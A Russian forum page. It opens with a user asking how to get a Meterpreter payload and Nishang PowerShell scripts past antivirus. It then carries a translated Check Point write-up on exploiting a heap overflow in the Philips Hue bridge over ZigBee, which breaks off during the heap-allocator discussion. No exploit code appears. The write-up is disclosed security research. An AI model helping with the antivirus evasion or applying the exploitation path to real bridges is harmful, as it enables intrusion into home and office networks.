запускаю file.exe, идет бесконечная загрузка, сессия метера не приходит, в чем
мог оплашать?
Также пытался запустить пару скриптов из nishang через powershell, однако анти
вирус знает свое дело...Может подскажет кто из опытных, как можно решить
данный таск или быть может какой-нибудь другой путь подскажет, может как то
обануть ав получится?. Буду очень благодарен за любую помощь:]
PS На орфографию и оформление прошу не ругаться, пишу в спешке
Все знакомы с концепцией IoT, Интернета вещей, но кто слышал об умных лампочках? Вы можете управлять светом в доме и даже откалибровать цвет каждой лампочки, просто используя мобильное приложение или своего цифрового помощника по дому. Умное управление лампочкой осуществляется через Wi-Fi или даже ZigBee, протоколу радиосвязи с низкой пропускной способностью.
Несколько лет назад группа исследователей показала, как они могут взять на себя управление умными лампочками и как это, в свою очередь, позволяет им создавать цепную реакцию, которая может распространиться по всему современному городу. Их исследование подняло интересный вопрос: помимо отключения электричества (и, возможно, нескольких приступов эпилепсии), могут ли эти лампочки представлять серьезный риск для нашей сетевой безопасности? Могут ли злоумышленники каким-то образом преодолеть разрыв между физической сетью Интернета вещей (лампочки) и даже более привлекательными целями, такими как компьютерная сеть в наших домах, офисах или даже в наших умных городах?
Мы здесь, чтобы сказать вам ответ: да.
Продолжая с того места, где закончилось предыдущее исследование, мы переходим к сути: интеллектуальному концентратору, который действует как мост между IP- сетью и сетью ZigBee. Маскируясь под законную лампочку ZigBee, мы смогли использовать уязвимости, обнаруженные в мосте, что позволило нам проникнуть в прибыльную IP-сеть с помощью удаленного беспроводного эксплойта ZigBee.
Ниже представлена видео-демонстрация этой атаки:
Это исследование было проведено с помощью Института информационной безопасности Check Point (CPIIS) Тель-Авивского университета.
Введение
После того, как мы закончили наше предыдущее исследование (Say Cheese: How I Ransomwared Your DSLR Camera), мы решили расширить наш отладчик (Scout) для поддержки дополнительных архитектур, таких как MIPS. Поскольку лучший способ сделать это - начать исследование архитектуру MIPS, я попросил в Твиттере предложить нам хорошую цель для исследования уязвимостей.
Как правило, люди ответили несколькими многообещающими предложениями, и самый многообещающей из них был от моего старого коллеги: Eyal Ronen (@eyalr0), который сейчас занимает должность исследователя в CPIIS. Eyal Ronen предложил мне продолжить его исследования умных лампочек. В своем первоначальном исследовании его группа смогла взять под контроль только сами лампочки. Он считал, что можно использовать эту позицию в сети ZigBee для развертывания атаки на мост, соединяющий сеть ZigBee с IP-сетью. По сути, этот новый вектор атаки позволяет злоумышленнику проникнуть в IP-сеть из сети ZigBee, используя беспроводную атаку.
Предыдущая работа
В статье "Интернет вещей становится ядерной ягрозой: создание цепной реакции ZigBee группа исследователей под руководством Eyal Ronen (@eyalr0), Colin O’Flynn (@colinoflynn) и Adi Shamir проанализировала аспекты безопасности интеллектуальных лампочек ZigBee. В частности, они сосредоточились на бридже Philips Hue и лампочках, продемонстрировав серию эксплоитов:
- Злоумышленники могут удаленно "украсть" лампочку из данной сети ZigBee и заставить ее присоединиться к своей сети (продемонстрировано с помощью беспилотного летательного аппарата, летящего с расстояния 400 метров):
- Из-за ошибки реализации даже обычная лампочка может использоваться для развертывания этого типа атаки и "похищения" лампочек из соседних сетей ZigBee.
- Злоумышленники, которые используют одну и ту же сеть ZigBee с целевой лампочкой, могут отправить вредоносное обновление прошивки на лампочку, таким образом получив полный контроль над ней.
Click to expand...
Объединив эти 3 продемонстрированные атаки, исследователи утверждали, что, взяв под контроль выбранную подгруппу лампочек в умном городе, они могут вызвать ядерную цепную реакцию, которая в конечном итоге может взять под контроль все лампочки в городе.
Из-за характера атак поставщик смог заблокировать только вторую атаку, что позволило нам:
- "Украсть" лампочку из данной сети ZigBee в непосредственной близости (400 метров).
- Обновить прошивку этой лампочки и использовать ее для запуска следующей фазы нашей атаки.Click to expand...
Получив подробное объяснение из первоначального исследования и вооружившись Philips Hue Bridge, которую Eyal R удалось получить из их лаборатории, мы были готовы начать это многообещающее новое исследование.
ZigBee 101
Согласно Википедии, "ZigBee - это основанная на IEEE 802.15.4 спецификация для набора высоко-уровневых протоколов связи, используемых для создания… маломощных, низко-скоростных беспроводных одноранговых сетей непосредственной близости". Не путать с IEEE 802.11 (WiFi), согласно модели OSI, IEEE 802.15.4 является техническим стандартом для сетевого протокола на основе радио, который действует как уровни 1-2 сетевого стека ZigBee.
Чтобы получить представление об этом протоколе с низкой скоростью передачи данных, максимальная единица передачи (MTU) для кадра на нижележащем MAC- уровне IEEE 802.15.4 составляет 127 байтов. Это означает, что, если не используется фрагментация, сообщения сетевого стека ZigBee очень ограничены по размеру. Надеюсь, это ограничение не слишком сильно ограничит нас в поиске, а затем и в использовании уязвимостей в реализации ZigBee.
Поверх уровня радиосети ZigBee определяет полный стек сетевых уровней, как видно на этом рисунке, взятом из (более старой версии) спецификаций ZigBee:
Короче говоря, мы можем примерно разделить сетевой стек на 4 уровня (в порядке возрастания):
- Физический/MAC-уровень - Кадры на основе радио, определенные IEEE 802.15.4.
- Сетевой уровень (NWK) - отвечает за маршрутизацию, ретрансляцию и безопасность (шифрование).
- Подуровень поддержки приложений (APS) - направляет сообщение в правильное приложение верхнего уровня.
- Уровень приложения (ZDP/ZCL/ и так далее) - Логический прикладной уровень, зависящий от входящего сообщения (одновременно присутствует на нескольких уровнях).Click to expand...
ZDP = ZigBee Device Profile
ZCL = ZigBee Cluster Library
Для тех из вас, кто знаком с протоколом SNMP, ZCL выглядит как другая кодировка того же логического интерфейса. Уровень ZCL позволяет устройствам запрашивать (READ_ATTRIBUTE) и устанавливать (WRITE_ATTRIBUTE) набор значений конфигурации (кластеры), что в конечном итоге позволяет оператору (мосту) управлять лампочками. Например, атрибуты кластера управления цветом включают:
- Цветовая температура Минимальная/Максимальная
- Цвет Красный/Зеленый/СинийClick to expand...
Этот пример также показывает, что это не обычные бело-желтые лампочки. Эти умные лампочки поддерживают широкий диапазон цветов, которыми можно управлять с помощью цветовой палитры (RGB).
Достичь нашей цели
Нашей целью в этом исследовании является линейка продуктов Philips Hue, а точнее Philips Hue Bridge. В качестве примечания: линейка продуктов Hue возникла в подразделении Philips-Lighting компании Philips и теперь выпускается под торговой маркой третьей компании под названием Signify.
Хотя "умные" световые решения пока не так популярны в Израиле, мы обнаружили, что во многих других странах это не так. Например, в этой статье за 2018 год говорится ([https://essentialinstall.com/news/smart-home/philips-hue-takes- top-spot-for-smart-lighting-in-uk-but-market-remains- competitive/#:~argetText=In fact, nearly 5% of,with Philips Hue smart bulbs](https://essentialinstall.com/news/smart-home/philips-hue-takes-top- spot-for-smart-lighting-in-uk-but-market-remains- competitive/#:~:targetText=In%20fact%2C%20nearly%205%25%20of,with%20Philips%20Hue%20smart%20bulbs).), что Philips Hue занимает 31% доли рынка интеллектуального освещения в Великобритании, которым пользуются более 430000 домашних хозяйств. Фактически, когда мы представили результаты нашего исследования некоторым вице-президентам нашей компании, они сказали нам, что все светильники в их доме произведены брендом Philips Hue.
На следующем рисунке, взятом из оригинального исследования, показана сетевая архитектура дома или офиса, в котором используется этот продукт:
ZLL - это аббревиатура от ZigBee Light Link, который представляет собой уровень настройки сетевого стека ZigBee, ориентированный на световые устройства: как лампочки, так и мост, который ими управляет.
С одной стороны, у нас есть устройства ZigBee: лампочки, коммутатор и бридж. А с другой стороны, у нас есть IP-устройства в "обычной" компьютерной сети: наш мобильный телефон, маршрутизатор и снова бридж. Как следует из его имени, бридж - единственное устройство, которое присутствует в обеих сетях, и его роль заключается в переводе команд, которые мы отправляем из мобильного приложения, в радиосообщения ZigBee, которые затем отправляются на лампочки.
Архитектура Бриджа
Мы уже знали, что мост использует процессор MIPS (поэтому мы изначально выбрали его), но оказалось, что его архитектура еще сложнее. На рисунке 3 мы показываем плату моста (модель 2.0) после того, как мы извлекли его из пластикового корпуса:
- Справа, отмеченный синим цветом, находится основной ЦП: QCA4531-BL3A.
- Слева, отмеченный красным, находится процессор Atmel (ATSAMR21E18E), который реализует нижние уровни стека ZigBee.Click to expand...
С этого момента мы называем центральный процессор Atmel модемом. Это главным образом связано с тем, что основной центральный процессор разгружает обработку низкоуровневых сетевых задач ZigBee, которые должны выполняться исключительно на этом процессоре. Это означает, что и физический уровень, и уровень NWK обрабатываются модемом, который, в свою очередь, может запрашивать у основного центральный процессор необходимые значения конфигурации.
К нашему удивлению, основной процессор работает под управлением ядра Linux, а не операционной системы реального времени. Это оказалось весьма полезным, когда нам нужно было извлечь прошивку и отладить основной процесс, отвечающий за основную логику моста.
На своем веб-сайте Colin O’Flynn (@colinoflynn) описывает, как подключиться к открытому последовательному порту и получить права root на плате. Это отличное руководство для всех, кто имеет дело со встроенными устройствами Linux и, в частности, имеет дело с загрузчиком U-Boot. К сожалению, у меня не было необходимого оборудования для подключения к последовательному интерфейсу. К счастью, я посоветовался со своим младшим братом, который помог мне, и сказал, какие последовательные кабели мне нужно заказать. Итак, мы начали реверс инжиниринг старой версии прошивки (от 2016 года), которую я получил от Eyal R, пока я ждал, пока прибудут кабели.
ipbridge
Основным процессом в главном процессоре является процесс ipbridge. Базовая разведка показывает, что это классический случай файла ELF:
- Сам код компилируется в адрес статической памяти.
- Библиотеки (файлы *.so), стек и куча рандомизированы операционной системой.
- Стек не содержит canaries.
- Процесс запускается от имени "root" - это отличная новость.Click to expand...
Это несколько смешанное состояние, которое мы часто наблюдаем при работе с целями под управлением Linux. Операционная система включает некоторые функции безопасности по умолчанию, и обычно поставщик не пытается активно активировать дополнительные функции, такие как PIE (Position Independent Executable) или даже canaries стека. С нашей точки зрения как злоумышленников, использование уязвимости будет нелегким, поскольку существует некоторая ASLR (рандомизация адресного пространства), но это все еще возможно, потому что есть некоторые фиксированные известные адреса памяти, которые мы можем использовать в нашем эксплойте.
Перед тем, как начать реверс инжиниринг процесса, мы заметили, что дизассемблер не может различать разделы кода Mips и Mips16 (аналогично случаю Arm и Thumb в прошивке ARM).К счастью для нас, это сработало достаточно хорошо: изначально у нас было 2525 функций, а после выполнения у нас был более чистый двоичный файл с 3478 отмеченными функциями. Теперь мы начали реверс инжиниринг нашего двоичного файла без необходимости вручную улучшать анализ IDA Pro.
Сразу после того, как мы начали фазу обратного проектирования, мы увидели нечто странное. По какой-то причине, похоже, мы ожидаем, что наши сообщения будут приходить в текстовой форме ?!
На рисунке 4 мы можем увидеть список строк, которые мы ожидаем найти во входящем сообщении. Каждая строка направляет наше сообщение определенной функции-обработчику, такой как функция, которую мы назвали EI_zcl_main_handler. На этом этапе мы еще раз проверили спецификации ZigBee, так как это не имело смысла. Протокол должен быть двоичным и с действительно низкой пропускной способностью, почему наша программа думает, что она должна получать длинные строки?
Прочитав еще раз заключения Eyal R. и Colin, все стало ясно. У модема есть дополнительная роль, которую мы изначально проигнорировали: он переводит двоичные сообщения в текстовое представление, а затем отправляет их через интерфейс USB-to-Serial. Таким образом, основной процессор считывает простые для обработки текстовые сообщения с последовательного устройства, которое отображается как файл в операционной системе.
Colin обнаружил доказательства того, что лампочки используют SDK Atmel BitCloud, который теперь является закрытым и должен быть приобретен у Atmel. Следовательно, имеет смысл предположить, что тот же программный стек также используется в качестве уровня "декодера" в процессора модема в мосте:
- Входящее сообщение анализируется и проверяется программным стеком BitCloud.
- Затем проанализированное сообщение преобразуется в текстовое представление.
- Это текстовое сообщение отправляется в главный процессор для обработки.Click to expand...
Таким образом, основной процессор должен быть знаком только с логическими аспектами стека ZigBee, но не нуждается в реализации сложных функций декодирования и анализа, которые уже включены в стек, поставляемый с модемом Atmel.
С точки зрения безопасности этот выбор конструкции имеет свои плюсы и минусы. Насколько нам известно, это имеет огромное значение. У нас есть только прошивка для процесса ipbridge, которую мы также можем отлаживать с помощью удаленного gdbserver, который мы скомпилировали и разместили в файловой системе моста. Прошивка модема зашифрована, и будет нелегко воссоздать шаги из первоначального исследования, чтобы извлечь этот ключ (используя атаку анализа мощности) и расшифровать прошивку модема.
Это означает, что мы можем рассматривать модем только как черный ящик, который выполняет большой анализ и, возможно, даже содержит несколько конечных автоматов. У нас есть несколько подсказок из версии частичного кода, которая находится на GitHub (которой несколько лет), но для всех намерений и целей это просто черный ящик, который может блокировать некоторые из наших атак, если они потребуют от нас отправки искаженных сообщений.
Ничто в этом исследовании не будет легким, поэтому мы просто добавляем это новое препятствие в наш список и продолжаем.
Поиск уязвимостей - I раунд
Теперь, когда мы поняли, почему модем отправляет нам текстовые сообщения на последовательное устройство, мы отследили поток сообщений между различными потоками и начали искать уязвимости в каждом из различных обработчиков. Наши усилия были сосредоточены на обработчике ZCL, поскольку он поддерживает операции чтения/записи для широкого спектра атрибутов типов данных:
- E_ZCL_UINT32 (0x23) – 4 байта целый тип.
- E_ZCL_UINT16 (0x21) – 2 байта целый тип.
- E_ZCL_UINT8 (0x20) / E_ZCL_ENUM8 (0x30) – 1 байт целый тип / 1 байт перечисление.
- E_ZCL_BOOL (0x10) – 1 бит Булево значение (Истина/Ложно).
- E_ZCL_ARRAY (0x48) – байтовый массив переменной длины с использованием поля длиной 1 байт.Click to expand...
Как вы, наверное, понимаете, обработка полей переменной длины во встроенном устройстве - верный рецепт уязвимостей. На рисунке 5 показан ассемблерный код, обрабатывающий этот случай:
Примечание: Имейте в виду, что архитектура MIPS использует слот задержки, поэтому при вызове malloc() значение 0x2B передается в качестве аргумента внутри слота задержки в инструкции: li $ a0, 0x2B. Это может немного сбить с толку любого, кто впервые читает ассемблерный код MIPS.
Что мы нашли? Злоумышленник может отправить злонамеренный ответ на сообщение READ_ATTRIBUTE, содержащее искаженный массив байтов, размер которого превышает фиксированный размер 43 байта (0x2B). Это вызывает контролируемое переполнение буфера на основе кучи без каких-либо байтовых ограничений.
Возможные ограничения этой потенциальной уязвимости:
- Поскольку ZCL является относительно высоким уровнем в стеке ZigBee, мы можем позволить себе отправлять только массив размером до 70 байт. В противном случае наше сообщение будет больше ограничений сети.
- Проверка конечного автомата может потребовать, чтобы мы отвечали только на существующий запрос.
- Проверка конечного автомата может потребовать, чтобы мы ответили только правильным запрошенным типом данных.
- Модем может отбросить наше сообщение, если он нарушает логику черного ящика.Click to expand...
Это не самая простая уязвимость для использования, но, тем не менее, это серьезная уязвимость.
Наконец, наши последовательные кабели наконец прибыли, и мы немедленно начали проверять, действительно ли мы обнаружили уязвимость. Мы скомпилировали gdbserver и поместили его в файловую систему моста, и теперь мы столкнулись с новым препятствием: у нас нет передатчика, с помощью которого можно было бы атаковать. После еще одной консультации с Eyal R. мы купили оценочную плату процессора лампочки, как это сделала его команда в своем исследовании.
Тем временем мы обнаружили хак, который позволил нам проверить наличие этой уязвимости даже без передачи радиосообщения по воздуху (надеясь, что модем не заблокирует нас в дальнейшем). Процесс ipbridge поддерживает режим тестирования отладки, который активируется путем подключения к двум именованным каналам, которые процесс прослушивает с помощью потока отладки:/tmp/ipbridgeio_in и /tmp/ipbridgeio_out. Хотя эти возможности отладки не очень полезны, мы исправили двоичный файл, чтобы сообщения, поступающие по этим каналам, добавлялись в очередь сообщений, как если бы они поступали от самого модема.
Используя этот небольшой двоичный патч, мы смогли создать наш собственный процесс, который подключается к именованным каналам и отправляет (текстовые) сообщения, направленные на попадание в уязвимую функцию кода. После некоторых проб и ошибок и с помощью нашего отладчика мы смогли активировать уязвимость и доказать, что она существует. Единственное предостережение - модем все еще может блокировать его, а для этого нам необходимо передавать атаку по радио.
В ожидании передатчика прибыл наш полный стартовый комплект Philips Hue с новым мостом модели 2.1 и 3 лампочками. Похоже, сейчас самое время извлечь новую прошивку из моста вместе с обновлением моста 2.0 до последней версии. Ведь до сих пор мы работали над прошивкой 2016 года, и за это время все могло измениться.
К сожалению, все действительно изменилось.
Первое, что мы заметили в новой прошивке, - это ее размер. По какой-то причине ELF-файл ipbridge вырос с 1221 КБ до 3227 КБ. Открытие его в IDA Pro показало нам главное отличие: двоичный файл (случайно?) был отправлен с отладочными символами. Это отличная новость, которая действительно может помочь нам в наших попытках реверс инжиниринга. На рисунке 6 показаны некоторые из этих символов:
Используя это новое открытие, мы узнали, что наша первоначальная обратная
разработка была относительно точной, и имя уязвимой функции оказалось:
SMARTLINK_UTILS_ReadAttributeValue.
При анализе уязвимой функции в новой версии прошивки нас ждал неприятный сюрприз. Список поддерживаемых типов данных был обновлен, и теперь производитель поддерживает символьные строки (0x42) вместо байтовых массивов (0x48). Хотя строки по-прежнему имеют переменную длину, выделение теперь изменено, чтобы быть более подходящим для строк с завершающим нулем:
- A 1-байтовое поле (обозначенное как L) читает из входящего сообщения
- Выделяется A буфер размером L + 1.
- L байтов данных копируются из входящего сообщения в выделенный буфер.Click to expand...
Фиксированный буфер кучи больше не используется, и это изменение поддерживаемых типов данных просто закрыло нашу уязвимость. Пора искать новую.
Поиск уязвимостей - II раунд
Мы отложили модуль ZCL в сторону и в конце концов нашли путь к модулю ZDP, а точнее к обработчику входящих ответов управления LQI (Link Quality Indicator). Эти сообщения являются частью модуля, который отвечает за обнаружение соседей. Периодически мост запрашивает у лампочек их известных соседей в сети ZigBee. Хотя название предполагает, что сообщения ориентированы на качество радиопередачи, структура сообщения фактически сосредоточена на полном наборе сетевых адресов для каждого соседа.
Контекст для каждого соседа, как видно в этих сообщениях следующий:
- 8 байт - Расширенный адрес: глобально уникальный сетевой адрес (аналогичный MAC-адресу Ethernet).
- 2 байта - Сетевой адрес: короткий сетевой адрес, который является локально уникальным в текущей сети ZigBee.
- 2 байта - PAN Id: идентификатор персональной сети, идентификатор локальной сети ZigBee.
- 1 байт - LQI: индикатор качества связи в диапазоне 0–255.
- 3 байта - Разное: другие флаги, добавленные до 16 байтов на запись.Click to expand...
Поскольку обе стороны должны сообщать друг другу о переменном количестве соседей, которое может включать до 0x41 поддерживаемых записей в глобальном массиве соседей ipbridge, эти сообщения включают формат фрагментации. В каждом ответе лампочка сообщает мосту, что он в настоящее время отвечает L записями от смещения X до смещения X + L - 1 из возможных S записей.
Как вы помните, размеры сообщений в стеке ZigBee довольно малы, поэтому использование такого количества индексов в каждом сообщении и отправка нескольких записей по 16 байт каждая действительно ограничивает количество записей, которые могут быть включены в каждое сообщение. В результате разработчики хранят входящие записи в стеке в массиве, который может содержать до 6 записей. Однако нет никаких проверок, чтобы убедиться, что входящее поле длины действительно достаточно мало, что может привести к переполнению буфера на основе стека.
Вы можете задаться вопросом, как мы планируем передавать такое "огромное" сообщение и переполнять буфер. Из-за физического ограничения размеров сообщений по радио наша единственная надежда - найти уязвимость в модеме, а затем использовать это переполнение на основе стека для переключения с модема на основной процессор. Это означает, что даже если бы мы только что обнаружили уязвимость, ее можно было эксплуатировать только с помощью дополнительной уязвимости в дополнительном процессоре, для которого у нас даже нет микропрограммы. Не совсем хороший план, если нет ничего другого …
Перед тем, как начать такой смелый шаг, мы еще раз применили наш прием для внедрения пакетов и попытались запустить контролируемое переполнение буфера на основе стека, чтобы проверить возможность использования этой новой уязвимости. К сожалению, адрес возврата в стеке находится именно в смещении, которое мы не можем полностью контролировать при переполнении. Наше переполнение происходит путем синтаксического анализа входящих полей и помещения их в локальную структуру. Получается, что мы можем переполнить адрес возврата только значением 0x00000004.
Вердикт: не использовать. По крайней мере, это избавило нас от необходимости искать уязвимости в модеме.
Примечание: максимальное количество записей, разрешенное в BitCloud SDK, равно 2. Протокол ZigBee использует несколько индексов в сообщении фрагментации, которое может содержать не более 2 записей в каждом сообщении. Это, мягко говоря, не совсем эффективно.
Поиск уязвимостей - Раунд III — CVE-2020-6007
К счастью, 3 оказалось нашим счастливым числом. После того как мы закончили аудит кода для всех различных обработчиков сообщений, у нас возник интригующий вопрос: когда мы отправляем атрибуты ZCL, кто обрабатывает их после первоначального (уже не уязвимого) синтаксического анализа?
Пытаясь ответить на этот вопрос, мы обнаружили новый тред с названием applproc. Этот поток считывает структуру, которая включает наш проанализированный атрибут, проверяет неизвестную проверку конечного автомата и, если нам повезет, доставляет наше сообщение в функцию CONFIGURE_DEVICES_ReceivedAttribute. На рисунке 8 показан ассемблерный код этой функции:
По неизвестной причине из входящей структуры извлекается код операции:
- 0x0F - Вероятно, означает строковый тип, потому что ввод дублируется с помощью strdup().
- 0x10 - Вероятно, означает массив байтов, потому что ввод дублируется с использованием того же шаблона уязвимого кода, который мы видели в старой версии прошивки.Click to expand...
Когда мы вернулись, чтобы проверить, как инициализируется эта структура, мы увидели этот фрагмент:
Похоже, что переход от поддерживающих массивов к строкам был сделан только наполовину, так как строка по ошибке помечена как "массив" с использованием константы 0x10 вместо 0x0F. Это означает, что у нас снова есть уязвимость, связанная с переполнением буфера на основе кучи, и мы смогли вызвать ее с помощью нашего взлома наряду с небольшой модификацией нашего предыдущего PoC.
Теперь, когда у нас есть уязвимость, которая все еще зависит от неизвестной проверки конечного автомата, которую мы должны пройти, самое время распаковать прибывший передатчик и попытаться активировать уязвимость по воздуху. В следующих главах мы опишем процесс эксплуатации этой уязвимости вместе с препятствиями ZigBee, которые мы обнаружили и преодолели.
Нюхаем подсказки
Важно отметить, что мы специально выбрали оценочную плату ATMEGA256RFR2-XPRO по нескольким причинам:
- Если нам удастся выполнить весь эксплойт с оценочной платы, мы докажем, что это возможно выполнить с помощью лампочки, поскольку они имеют точно такие же аппаратные возможности: тот же процессор, ту же антенна и так далее.
- Мы надеемся сохранить некоторый код C из предыдущего исследования, проведенного Eyal Ronen (@eyalr0) и Colin O’Flynn (@colinoflynn).Click to expand...
Как ни странно, первый пункт оказался решающим, но мы обсудим эту часть позже.
Вы можете ожидать, что когда вы купите продукт Atmel, который поставляется с IDE на основе Visual Studio под названием "Atmel Studio", вы легко сможете создать образец проекта ZigBee, который просто прослушивает сообщения и выводит их на выход/последовательный интерфейс. К сожалению, этого не произошло. После некоторого поиска в Google мы обнаружили, что Atmel предоставляет серию полезных туториалов на YouTube, например этот https://www.you- tube.com/watch?v=Rz5VxvnsEu0 , в котором человек, плывущий на лодке (мы не шутим), рассказывает вам, как использовать менеджер расширений и загрузить пакет, который позволяет вам создать образец беспроводных проектов. Это именно то, что мы искали изначально.
Теперь, когда мы смогли перехватить некоторые сообщения, мы соединили лампочку с нашим мостом (процесс, называемый commissioning), и распечатали сообщения на последовательном выходе. На этом этапе мы поняли, что, хотя теперь у нас есть несколько записанных сообщений, у нас действительно нет надлежащего способа преобразовать их в удобочитаемый формат. Мы пробовали различные сценарии Python с открытым исходным кодом для ZigBee, но ни один из них не оказался действительно полезным. Однако нам удалось загрузить пакеты с шестнадцатеричным дампом в Wireshark, используя следующий тип инкапсуляции, показанный на рисунке 10:
Важное примечание: Wireshark не может проанализировать сообщения, если в них есть недопустимое поле FCS (Frame Check Sequence). Когда мы передаем сообщения, это поле автоматически вычисляется и добавляется антенной. Поэтому мы рекомендуем исключить это поле из входящих сообщений и заранее выбрать тип инкапсуляции, который сообщает Wireshark, что поле FCS отсутствует. Это упрощает анализ дампов входящих и исходящих сообщений.
Даже беглый взгляд показал, что не хватает нескольких вещей:
- Большинство сообщений зашифрованы, и у нас нет ключа.
- Некоторые commissioning сообщения отсутствуют, поскольку текстовый разговор
выглядит не таким как должен быть.
Как мы упоминали ранее, решение использовать нашу специальную оценочную плату оказалось решающим. Протокол передает сообщения настолько быстро, что скорость передачи последовательного интерфейса вызывает критические задержки. Короче говоря, когда мы распечатываем сообщения/отправляем их на наш компьютер, мы пропускаем важные сообщения из текущего разговора. Мы должны реализовать весь эксплойт на оценочной плате (на C), если мы хотим иметь хоть малейший шанс не отставать от быстрого темпа сообщений в протоколе ZigBee.
Между тем, мы буферизовали сообщения на самой плате и отправляли их на ПК только тогда, когда наш буфер был заполнен. Это позволило нам записать большую часть сообщений. Однако мы все же упустили некоторые из них, когда и лампочка, и мост передавали вместе в течение коротких периодов времени.
Открытие криптослоя
Wireshark поддерживает возможность расшифровывать сообщения ZigBee и анализировать их расшифрованную полезную нагрузку, но вы должны предоставить им правильный ключ.
Это было хорошее время, чтобы прочитать о протоколе и узнать, как работает его криптографическая конструкция. Короче говоря, каждое устройство использует два важных ключа:
- Транспортный ключ - глобальный (широковещательный) ключ, который используется всеми устройствами ZigBee.
- Сетевой ключ. Сетевой ключ, который передается мостом подключенной лампочке (на этапе commissioning).Click to expand...
Подавляющее большинство сообщений должно быть зашифровано только с помощью сетевого ключа, а транспортный ключ используется только при передаче сетевого ключа на лампочку на этапе ввода в эксплуатацию. Это приводит нас к непосредственной проблеме: нам нужен транспортный ключ, иначе Wireshark не скажет нам, какой у нас сетевой ключ.
На рисунке 11 показан пример файла ZigBee .pcap с веб-сайта Wireshark, и сообщение Transport Key выделено:
Мы видим, что, поскольку у нас нет транспортного ключа, мы не можем расшифровать сообщение транспортного ключа, и оно просто отображается как общая команда APS.
Хотя мы обнаружили несколько ключей при исследовании темы, ни один из них не помог. Похоже, мы не были первыми, кто занялся этой проблемой, поскольку в конце концов мы дошли до этого сообщения в блоге, в котором автор подробно описывает решение проблемы. Оказывается, что "обычные" ключи используются при "commissioning", но в нашем "классическом commissioning" используется другой секретный ключ. К счастью, оба ключа включены в статью, и они действительно сработали. На этот раз нам удалось успешно расшифровать сообщение внутри Wireshark. На рисунке 12 показано расшифрованное сообщение:
Примечание. Мы намеренно включили в это изображение фактический сетевой ключ.
При реализации уровней шифрования на нашей оценочной плате мы полагались на превосходную реализацию из анализатора ZigBee от Wireshark, который можно найти на GitHub.
Наивная попытка атаки
После того, как мы нашли сетевой ключ, с помощью которого лампочки и мост шифруют все свои сообщения, мы можем попытаться создать собственное враждебное сообщение ZCL и проверить, запускает ли оно нашу точку останова в уязвимой функции. После нескольких проб и ошибок у нас были хорошие и плохие новости:
- Хорошие новости: проверки конечного автомата ZCL отсутствуют. Мост анализирует ответные сообщения на запросы, которые он даже не отправлял.
- Плохие новости: проверка неизвестного конечного автомата, которую мы обнаружили возле уязвимой функции, перенаправляет наше сообщение другой функции.Click to expand...
Проверка показана на рисунке 13:
Первоначально казалось, что нам может понадобиться минимум 2 или 3 лампочки в сети, но это тоже не сработало. Вернувшись к коду, мы узнали, что функция проверяет, проходит ли в данный момент лампочка, отправившая сообщение, процесс ввода.
Вывод №1: уязвимая функция доступна только при вводе в эксплуатацию новой лампочки в сети ZigBee. Законные участники сети ZigBee не могут активировать уязвимость, которую мы хотим использовать.
Classic Commissioning
Classic Commissioning - это процесс подключения (ввода в эксплуатацию) новой лампочки в нашей сети ZigBee с помощью стандартного мобильного приложения. В нашем случае мы использовали приложение Philips Hue из Android Play Store.
Удивительно, но несмотря на то, что существует множество документов и спецификаций, описывающих сообщения в протоколах ZigBee, нам не удалось найти надлежащий документ, описывающий поток сообщений во время процесса ввода в эксплуатацию. Поэтому мы объединили два подхода и надеялись, что в конечном итоге реализуем достаточно сообщений и убедим наше мобильное приложение в том, что мост действительно обнаружил "новую" лампочку. Подходы были следующими:
- Запишите как можно больше сообщений от ввода в эксплуатацию обычной лампочки.
- Постепенно вводите различные сообщения и передавайте их на мост. Каждый раз, когда мост отвечает новым запросом, мы реализуем для него соответствующий ответ и повторяем тот же эксперимент.Click to expand...
Вывод №2: Мост не будет принимать новые лампочки в сеть, если пользователь активно не заказывает ему поиск новых лампочек. Это хороший выбор дизайна, который значительно снижает поверхность атаки на самом мосту. В нашем сценарии атаки мы должны каким-то образом заставить пользователя нажать эту кнопку в своем приложении.
Это также означает, что перед каждым экспериментом мы должны были нажимать кнопку в приложении (давая нам период отсрочки в 1-2 минуты), и только затем запускать нашу программу с оценочной платы. Так было, когда мы пытались узнать о сообщениях на этапе ввода в эксплуатацию, а также при тестировании эксплойта. Не совсем гладкая автоматическая процедура, но со временем она сработала.
Как мы обещали ранее, вот ссылка на полную запись в формате .pcap ( <https://github.com/CheckPointSW/Cyber- Research/tree/master/Vulnerability/Smart_Lightbulbs>) классического ввода в эксплуатацию с нашей моделью моста до момента, когда мобильное приложение уведомит нас о новой лампочке. Сообщения удаляются из своего поля FCS, а pcap не содержит сообщений IEEE 802.15.4 Ack, поскольку они отправляются в качестве подтверждения почти после каждого сообщения.
На рисунке 14 показана созданная нами новая лампочка, которая отображается в приложении, если пользователь запрашивает полную информацию.
Как видите, на этапе ввода в эксплуатацию происходит обмен несколькими управляемыми строковыми полями. Мы решили обозначить нашу новую лампочку как новую лампочку Check Point Research, модель "CPR123".
Этап ввода в эксплуатацию можно разделить на 4 основные части:
- Ассоциация: появляется новая лампочка, которая связана с коротким сетевым адресом.
- Принятие: новая лампочка получает сетевой ключ и сообщает о себе с помощью сообщения Device Announce.
- Бюрократия: мост запрашивает у лампочки несколько дескрипторов.
- ZCL: мост выдает несколько запросов READ_ATTRIBUTE ZCL (ZigBee Cluster Library), чтобы узнать о характеристиках лампочки.Click to expand...
Только во время фазы ZCL мы можем начать отправлять наши вредоносные сообщения ZCL, пытаясь вызвать переполнение буфера на основе кучи, которое мы обнаружили ранее. Мы можем отправлять злонамеренные ответные сообщения независимо от фактических запросов, которые отправляет мост, но мы можем начать их отправлять только после того, как достигнем этой фазы в процессе ввода в эксплуатацию.
Атака на кучу
Мы решили решать наши проблемы по очереди. Наша первая цель состояла в том, чтобы успешно использовать уязвимость на основе кучи и перейти к произвольному адресу памяти, а затем обнаружить, куда перейти. Это оказалось неправильным решением, поскольку куча сильно изменялась в зависимости от сообщений, с которыми мы помещали шелл-код в память цели.
Первое, что нужно сделать при эксплуатации переполнения буфера на основе кучи,
Для небольшой реализации LibC, основной целью которой являются продукты с ограниченными ресурсами памяти и ЦП, реализация довольно проста:
- Fast-Bins хранит небольшие свободные буферы, используя односвязный список.
- В двусвязном списке хранятся остальные свободные буферы.
- Несколько раз выполняется консолидация для оптимизации/очистки кучи.Click to expand...
Для "стандартной" реализации dlmalloc это метаданные, используемые этой реализацией кучи:
- Когда буфер выделяется и используется, первые два поля сохраняются перед буфером данных пользователя.
- Когда буфер освобождается и помещается в Fast-Bin, третье поле также используется и указывает на следующий узел в связанном списке Fast-Bin. Это поле находится в первых 4 байтах пользовательского буфера.
